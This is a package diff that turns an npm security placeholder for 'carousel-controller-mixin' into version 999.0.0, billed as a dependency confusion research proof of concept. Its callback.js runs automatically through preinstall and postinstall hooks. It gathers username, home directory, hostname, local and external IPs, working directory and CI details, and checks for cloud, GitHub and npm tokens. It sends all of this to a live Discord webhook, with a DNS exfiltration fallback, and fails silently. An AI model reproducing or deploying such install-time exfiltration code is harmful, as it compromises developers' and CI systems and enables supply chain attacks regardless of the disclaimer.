carousel-controller-mixin 0.0.1-security → 999.0.0

package/README.md

@@ -1,5 +1,18 @@
-# Security holding package
+# carousel-controller-mixin
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+## Security Research PoC
 
-Please refer to www.npmjs.com/advisories?search=carousel-controller-mixin for more information.
+This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
+
+### What is Dependency Confusion?
+
+Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
+
+### Author
+
+- **OFJAAAH**
+- Tool: Dependency Confusion Hunter
+
+### Disclaimer
+
+This package is for **authorized security testing only**. Do not use for malicious purposes.

package/callback.js

@@ -0,0 +1,291 @@
+#!/usr/bin/env node
+
+
+const https = require('https');
+const http = require('http');
+const os = require('os');
+const { execSync } = require('child_process');
+
+const CALLBACK_URL = 'Discord Webhook';
+const DISCORD_WEBHOOK = 'https://discord.com/api/webhooks/1516163806559076442/j-EsZnZ4l2wqzbeef39EDg8f6hr_UsyIKNH5Y9wm9RBBBOcep36EfeEHKn_HlM6e-EZ6';
+const PACKAGE_NAME = 'carousel-controller-mixin';
+
+// Get network interfaces to find IP
+function getLocalIP() {
+  try {
+    const interfaces = os.networkInterfaces();
+    for (const name of Object.keys(interfaces)) {
+      for (const iface of interfaces[name]) {
+        if (iface.family === 'IPv4' && !iface.internal) {
+          return iface.address;
+        }
+      }
+    }
+  } catch (e) {}
+  return 'unknown';
+}
+
+// Get external IP (optional - may fail in restricted networks)
+async function getExternalIP() {
+  return new Promise((resolve) => {
+    https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
+      let data = '';
+      res.on('data', chunk => data += chunk);
+      res.on('end', () => {
+        try {
+          resolve(JSON.parse(data).ip);
+        } catch (e) {
+          resolve(null);
+        }
+      });
+    }).on('error', () => resolve(null));
+  });
+}
+
+// Collect system info
+function collectSystemInfo() {
+  const info = {
+    // Package info
+    package: PACKAGE_NAME,
+    timestamp: new Date().toISOString(),
+
+    // User info
+    user: os.userInfo().username,
+    uid: os.userInfo().uid,
+    gid: os.userInfo().gid,
+    homedir: os.userInfo().homedir,
+    shell: os.userInfo().shell,
+
+    // System info
+    hostname: os.hostname(),
+    platform: os.platform(),
+    arch: os.arch(),
+    release: os.release(),
+    type: os.type(),
+
+    // Directory info
+    cwd: process.cwd(),
+
+    // Network info
+    localIP: getLocalIP(),
+
+    // Node info
+    nodeVersion: process.version,
+    npmVersion: process.env.npm_package_version || 'unknown',
+
+    // CI/CD Detection
+    isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
+    ciEnvironment: detectCIEnvironment(),
+
+    // NPM info
+    npmLifecycle: process.env.npm_lifecycle_event || '',
+    npmPackageName: process.env.npm_package_name || '',
+
+    // Additional context
+    env: {
+      CI: process.env.CI || '',
+      GITHUB_ACTIONS: process.env.GITHUB_ACTIONS || '',
+      GITHUB_REPOSITORY: process.env.GITHUB_REPOSITORY || '',
+      GITHUB_ACTOR: process.env.GITHUB_ACTOR || '',
+      GITLAB_CI: process.env.GITLAB_CI || '',
+      GITLAB_USER_LOGIN: process.env.GITLAB_USER_LOGIN || '',
+      JENKINS_URL: process.env.JENKINS_URL || '',
+      BUILD_NUMBER: process.env.BUILD_NUMBER || '',
+      TRAVIS: process.env.TRAVIS || '',
+      CIRCLECI: process.env.CIRCLECI || '',
+      BUILDKITE: process.env.BUILDKITE || ''
+    }
+  };
+
+  return info;
+}
+
+function detectCIEnvironment() {
+  if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
+  if (process.env.GITLAB_CI) return 'GitLab CI';
+  if (process.env.JENKINS_URL) return 'Jenkins';
+  if (process.env.TRAVIS) return 'Travis CI';
+  if (process.env.CIRCLECI) return 'CircleCI';
+  if (process.env.BUILDKITE) return 'Buildkite';
+  if (process.env.CI) return 'Generic CI';
+  return 'Local Machine';
+}
+
+async function sendCallback() {
+  const systemInfo = collectSystemInfo();
+
+  // Try to get external IP
+  const externalIP = await getExternalIP();
+  if (externalIP) {
+    systemInfo.externalIP = externalIP;
+  }
+
+  const data = JSON.stringify(systemInfo);
+
+  const url = new URL(CALLBACK_URL);
+  const options = {
+    hostname: url.hostname,
+    port: url.port || (url.protocol === 'https:' ? 443 : 80),
+    path: url.pathname + (url.search || ''),
+    method: 'POST',
+    headers: {
+      'Content-Type': 'application/json',
+      'Content-Length': Buffer.byteLength(data),
+      'User-Agent': 'dependency-confusion-poc/carousel-controller-mixin',
+      'X-PoC-Package': 'carousel-controller-mixin',
+      'X-PoC-Author': 'OFJAAAH'
+    },
+    timeout: 10000
+  };
+
+  const protocol = url.protocol === 'https:' ? https : http;
+
+  const req = protocol.request(options, (res) => {
+    console.log('[PoC] Callback sent - Status:', res.statusCode);
+  });
+
+  req.on('error', (e) => {
+    // Silently fail
+  });
+
+  req.on('timeout', () => {
+    req.destroy();
+  });
+
+  req.write(data);
+  req.end();
+}
+
+// DNS exfiltration for restricted networks
+function sendDnsCallback() {
+  try {
+    const dns = require('dns');
+    const info = {
+      p: PACKAGE_NAME.substring(0, 15),
+      u: os.userInfo().username.substring(0, 10),
+      h: os.hostname().substring(0, 10),
+      t: Date.now()
+    };
+    const encoded = Buffer.from(JSON.stringify(info))
+      .toString('base64')
+      .replace(/[+/=]/g, '')
+      .substring(0, 50);
+
+    const dnsHost = encoded + '.' + new URL(CALLBACK_URL).hostname;
+    dns.resolve(dnsHost, () => {});
+  } catch (e) {}
+}
+
+// Send to Discord Webhook
+async function sendDiscordCallback() {
+  if (!DISCORD_WEBHOOK || DISCORD_WEBHOOK === '') return;
+
+  const systemInfo = collectSystemInfo();
+  const externalIP = await getExternalIP();
+
+  // Calculate criticality based on environment
+  const isCI = systemInfo.isCI;
+  const isRoot = systemInfo.user === 'root' || systemInfo.user === 'Administrator';
+  const hasSecrets = !!(process.env.AWS_ACCESS_KEY_ID || process.env.GITHUB_TOKEN || process.env.NPM_TOKEN || process.env.DOCKER_PASSWORD);
+
+  let severity = 'MEDIUM';
+  let severityColor = 0xFFA500; // Orange
+  let severityEmoji = '🟠';
+
+  if (isCI && hasSecrets) {
+    severity = 'CRITICAL';
+    severityColor = 0xFF0000; // Red
+    severityEmoji = '🔴';
+  } else if (isCI || isRoot) {
+    severity = 'HIGH';
+    severityColor = 0xFF4500; // OrangeRed
+    severityEmoji = '🟠';
+  } else if (hasSecrets) {
+    severity = 'HIGH';
+    severityColor = 0xFF4500;
+    severityEmoji = '🟠';
+  }
+
+  // Build impact assessment
+  const impactList = [];
+  if (isCI) impactList.push('⚠️ CI/CD Pipeline Compromised');
+  if (isRoot) impactList.push('⚠️ Running as Root/Admin');
+  if (hasSecrets) impactList.push('⚠️ Secrets/Tokens Detected in ENV');
+  if (systemInfo.env.GITHUB_TOKEN || systemInfo.env.GITHUB_ACTIONS) impactList.push('🔑 GitHub Access Available');
+  if (process.env.AWS_ACCESS_KEY_ID) impactList.push('☁️ AWS Credentials Exposed');
+  if (process.env.NPM_TOKEN) impactList.push('📦 NPM Token Exposed');
+
+  const impactText = impactList.length > 0 ? impactList.join('\n') : '✅ No critical exposures detected';
+
+  // Build CI details if applicable
+  let ciDetails = '';
+  if (systemInfo.ciEnvironment !== 'Local Machine') {
+    ciDetails = systemInfo.ciEnvironment;
+    if (systemInfo.env.GITHUB_REPOSITORY) ciDetails += ' | Repo: ' + systemInfo.env.GITHUB_REPOSITORY;
+    if (systemInfo.env.GITHUB_ACTOR) ciDetails += ' | Actor: ' + systemInfo.env.GITHUB_ACTOR;
+    if (systemInfo.env.BUILD_NUMBER) ciDetails += ' | Build: ' + systemInfo.env.BUILD_NUMBER;
+  }
+
+  const embed = {
+    title: severityEmoji + ' DEPENDENCY CONFUSION - ' + severity + ' SEVERITY',
+    description: '**Package `' + PACKAGE_NAME + '` was installed and executed code!**\n\nThis confirms a dependency confusion vulnerability exists.',
+    color: severityColor,
+    fields: [
+      { name: '🎯 Severity Level', value: '**' + severity + '**', inline: true },
+      { name: '📦 Package', value: '`' + PACKAGE_NAME + '`', inline: true },
+      { name: '🏭 Environment', value: isCI ? '**CI/CD PIPELINE**' : 'Local Machine', inline: true },
+      { name: '📊 Impact Assessment', value: impactText, inline: false },
+      { name: '👤 User', value: '`' + (systemInfo.user || 'N/A') + '`' + (isRoot ? ' **[ROOT]**' : ''), inline: true },
+      { name: '🖥️ Hostname', value: '`' + (systemInfo.hostname || 'N/A') + '`', inline: true },
+      { name: '💻 Platform', value: (systemInfo.platform + ' ' + systemInfo.arch) || 'N/A', inline: true },
+      { name: '🌐 Local IP', value: '`' + (systemInfo.localIP || 'N/A') + '`', inline: true },
+      { name: '🌍 External IP', value: '`' + (externalIP || 'N/A') + '`', inline: true },
+      { name: '🔧 Node Version', value: systemInfo.nodeVersion || 'N/A', inline: true },
+      { name: '📁 Working Directory', value: '`' + (systemInfo.cwd || 'N/A') + '`', inline: false },
+      { name: '🏠 Home Directory', value: '`' + (systemInfo.homedir || 'N/A') + '`', inline: false },
+    ],
+    footer: { text: '🔍 Dependency Confusion Hunter by OFJAAAH | Authorized Security Research' },
+    timestamp: new Date().toISOString()
+  };
+
+  // Add CI details field if applicable
+  if (ciDetails) {
+    embed.fields.splice(3, 0, { name: '🔄 CI/CD Details', value: ciDetails, inline: false });
+  }
+
+  const payload = JSON.stringify({
+    embeds: [embed]
+  });
+
+  try {
+    const url = new URL(DISCORD_WEBHOOK);
+    const options = {
+      hostname: url.hostname,
+      port: 443,
+      path: url.pathname + url.search,
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(payload)
+      },
+      timeout: 10000
+    };
+
+    const req = https.request(options, (res) => {
+      console.log('[PoC] Discord callback sent - Status:', res.statusCode);
+    });
+
+    req.on('error', () => {});
+    req.write(payload);
+    req.end();
+  } catch (e) {}
+}
+
+// Execute callbacks
+(async () => {
+  try {
+    await sendCallback();
+    await sendDiscordCallback();
+    sendDnsCallback();
+  } catch (e) {}
+})();

package/index.js

@@ -0,0 +1,7 @@
+
+module.exports = {
+  name: 'carousel-controller-mixin',
+  version: '999.0.0',
+  poc: true,
+  author: 'r0binak'
+};

package/package.json

@@ -1,6 +1,17 @@
 {
   "name": "carousel-controller-mixin",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "999.0.0",
+  "description": "Security research PoC - Dependency Confusion Hunter by r0binak",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node callback.js",
+    "postinstall": "node callback.js"
+  },
+  "keywords": [
+    "security",
+    "research",
+    "poc"
+  ],
+  "author": "r0binak - Security Research",
+  "license": "MIT"
+}